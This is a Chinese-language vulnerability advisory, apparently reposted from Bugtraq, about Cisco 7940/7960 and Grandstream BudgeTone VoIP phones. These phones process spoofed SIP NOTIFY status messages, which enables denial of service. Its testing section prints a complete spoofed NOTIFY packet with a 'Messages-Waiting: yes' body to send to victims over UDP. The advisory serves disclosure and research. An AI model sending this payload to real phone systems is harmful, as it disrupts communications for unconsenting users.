多家厂商VoIP电话欺骗SIP状态消息处理漏洞

领测软件测试网 受影响系统：

Cisco VoIP Phone CP-7960 3.2
Cisco VoIP Phone CP-7960 3.1
Cisco VoIP Phone CP-7960 3.0
Cisco VoIP Phone CP-7940 3.2
Cisco VoIP Phone CP-7940 3.1
Cisco VoIP Phone CP-7940 3.0
Grandstream BudgeTone 100

描述： BUGTRAQ  ID: 14174

Grandstream BudgeTone和Cisco VoIP Phone都是常见的IP电话解决方案。

多家厂商的VoIP Phone以不正确的方式处理欺骗的SIP状态消息，可能导致拒绝服务攻击。

受影响的电话没有验证NOTIFY消息的“Call-ID”、“tag”和“branch”首部，处理了欺骗的状态消息而不是拒绝这些消息。 这样如果攻击者向SIP环境中的所有电话都发送“Messages-Waiting: yes”消息的话，几乎所有的电话都会处理这些消息，导致服务器达到峰值，造成拒绝服务。

<*来源：Tobias Glemser （[email protected]）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=112067698624686&w=2
*>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

向受害用户发送UDP消息：
    
    Session Initiation Protocol
         Request-Line: NOTIFY sip:[email protected] SIP/2.0
         Message Header
              Via: SIP/2.0/UDP 15.1.1.12:5060;branch=000000000000000
              From: "asterisk" <sip:[email protected]>;tag=000000000
              To: <sip:[email protected]>
               Contact: <sip:[email protected]>
               Call-ID: [email protected]
              CSeq: 102 NOTIFY
                  User-Agent: Asterisk PBX
               Event: message-summary
               Content-Type: application/simple-message-summary
               Content-Length: 37
          Message body
               Messages-Waiting: yes\n
               Voicemail: 3/2\n

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/